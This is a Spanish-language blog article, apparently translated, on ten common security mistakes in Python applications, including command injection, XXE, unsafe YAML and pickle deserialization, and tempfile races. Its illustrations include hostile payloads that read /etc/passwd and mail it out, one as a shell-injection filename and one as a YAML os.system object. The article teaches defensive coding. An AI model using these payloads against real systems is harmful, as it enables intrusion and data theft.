Escribir código seguro es difícil. Cuando aprende un idioma, un módulo o un marco, aprende cómo se supone que debe usarse . Al pensar en la seguridad, debe pensar en cómo se puede hacer un mal uso de ella. Python no es una excepción, incluso dentro de la biblioteca estándar hay malas prácticas documentadas para escribir aplicaciones reforzadas. Sin embargo, cuando he hablado con muchos desarrolladores de Python, simplemente no los conocen.
Aquí están mis 10 errores más comunes, sin ningún orden en particular , en las aplicaciones de Python.
La inyección SQL es donde está escribiendo consultas SQL directamente en lugar de usar un ORM y mezclar sus literales de cadena con variables. He leído mucho código donde las "comillas de escape" se consideran una solución. no lo es Familiarícese con todas las formas complejas en que puede ocurrir la inyección SQL con .
La inyección de comandos es cada vez que llama a un proceso usando popen, subprocess, os.system y tomando argumentos de variables. Al llamar a los comandos locales, existe la posibilidad de que alguien establezca esos valores en algo malicioso.
Imagina este simple guión . Llamas a un subproceso con el nombre de archivo proporcionado por el usuario: import subprocessdef transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea!
El atacante establece el valor de nombre de archivo en "; cat /etc/passwd | mail [email protected]
o algo igualmente peligroso.
Para el shell, use el módulo shlex
para correctamente.
Si su aplicación alguna vez carga y analiza archivos XML, lo más probable es que esté utilizando uno de los módulos de biblioteca estándar XML. Hay algunos ataques comunes a través de XML. Principalmente estilo DoS (diseñado para bloquear sistemas en lugar de exfiltración de datos). Esos ataques son comunes, especialmente si está analizando archivos XML externos (es decir, no confiables).
Uno de ellos se llama "mil millones de risas", debido a que la carga útil normalmente contiene una gran cantidad (miles de millones) de "lols". Básicamente, la idea es que puede crear entidades referenciales en XML, por lo que cuando su sencillo analizador XML intenta cargar este archivo XML en la memoria, consume gigabytes de RAM. Pruébalo si no me crees :-)
Otro ataque utiliza la expansión de entidades externas . XML admite entidades de referencia de direcciones URL externas, el analizador XML normalmente buscaría y cargaría ese recurso sin ningún reparo. “Un atacante puede eludir los cortafuegos y obtener acceso a recursos restringidos, ya que todas las solicitudes se realizan desde una dirección IP interna y confiable, no desde el exterior”.
Otra situación a considerar son los paquetes de terceros de los que depende que decodifiquen XML, como archivos de configuración, API remotas. Es posible que ni siquiera sepa que una de sus dependencias queda expuesta a este tipo de ataques. Entonces, ¿qué sucede en Python? Bueno, los módulos de la biblioteca estándar, etree, DOM, xmlrpc están todos abiertos a este tipo de ataques. Está bien documentado
Ahora, de manera predeterminada, Python se ejecuta con __debug__
como verdadero, pero en un entorno de producción es común que se ejecute con optimizaciones. Esto omitirá la declaración de afirmación e irá directamente al código seguro, independientemente de si el usuario is_admin
o no.
Use secrets.compare_digest
, para comparar contraseñas y otros valores privados.
Para crear archivos temporales en Python, normalmente generaría un nombre de archivo usando la [mktemp()](//docs.python.org/3/library/tempfile.html#tempfile.mktemp "tempfile.mktemp")
y luego crea un archivo usando este nombre. “Esto no es seguro, porque un proceso diferente puede crear un archivo con este nombre en el tiempo entre la llamada a [mktemp()](//docs.python.org/3/library/tempfile.html#tempfile.mktemp "tempfile.mktemp")
y el intento posterior de crear el archivo mediante el primer proceso". Esto significa que podría engañar a su aplicación para que cargue los datos incorrectos o exponga otros datos temporales.
Use el módulo tempfile
mkstemp
si necesita generar archivos temporales.
“Advertencia: ¡No es seguro llamar a
**yaml.load**
con datos recibidos de una fuente que no es de confianza!**yaml.load**
es tan potente como**pickle.load**
y, por lo tanto, puede llamar a cualquier función de Python”.
Este hermoso en el popular proyecto Python Ansible. Puede proporcionar a Ansible Vault este valor como YAML (válido). Llama a os.system()
con los argumentos proporcionados en el archivo.
!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]
Por lo tanto, la carga efectiva de archivos YAML a partir de valores proporcionados por el usuario lo deja completamente abierto a los ataques.Demostración de esto en acción, crédito Anthony Sottile
Usa yaml.safe_load
casi siempre, a menos que tengas una muy buena razón.
Deserializar datos de pickle es tan malo como YAML. Las clases de Python pueden declarar un método mágico llamado __reduce__
que devuelve una cadena o una tupla con un invocable y los argumentos para llamar al decapado. El atacante puede usar eso para incluir referencias a uno de los módulos de subproceso para ejecutar comandos arbitrarios en el host.
Así que estás a salvo. Es decir, si parchea su tiempo de ejecución .
, una vulnerabilidad de desbordamiento de enteros que permite la ejecución de código. cualquier versión sin parches de Ubuntu pre-17.¡Instale la última versión de Python para sus aplicaciones de producción y parchee!
Encuentro aterradora la práctica de "fijar" versiones de paquetes Python de PyPi en paquetes. La idea es que “ estas son las versiones que funcionan ” para que todo el mundo lo deje en paz.
Todas las vulnerabilidades en el código que he mencionado anteriormente son igual de importantes cuando existen en los paquetes que usa su aplicación. Los desarrolladores de esos paquetes solucionan problemas de seguridad. todo el tiempo
Se llama bandido, solo pip install bandit
y bandit ./codedir
Crédito a RedHat por este que utilicé en parte de mi investigación.